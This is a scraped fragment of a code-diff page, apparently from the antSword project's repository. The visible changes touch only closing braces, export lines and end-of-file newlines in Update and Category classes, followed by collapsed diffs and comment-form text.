local_ver: antSword['package']['version']
}); });
} }
...@@ -179,4 +181,4 @@ class Update { ...@@ -179,4 +181,4 @@ class Update {
} }
} }
export default Update; export default Update;
\ No newline at end of file
...@@ -41,4 +41,4 @@ class Category { ...@@ -41,4 +41,4 @@ class Category {
} }
} }
module.exports = Category; module.exports = Category;
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment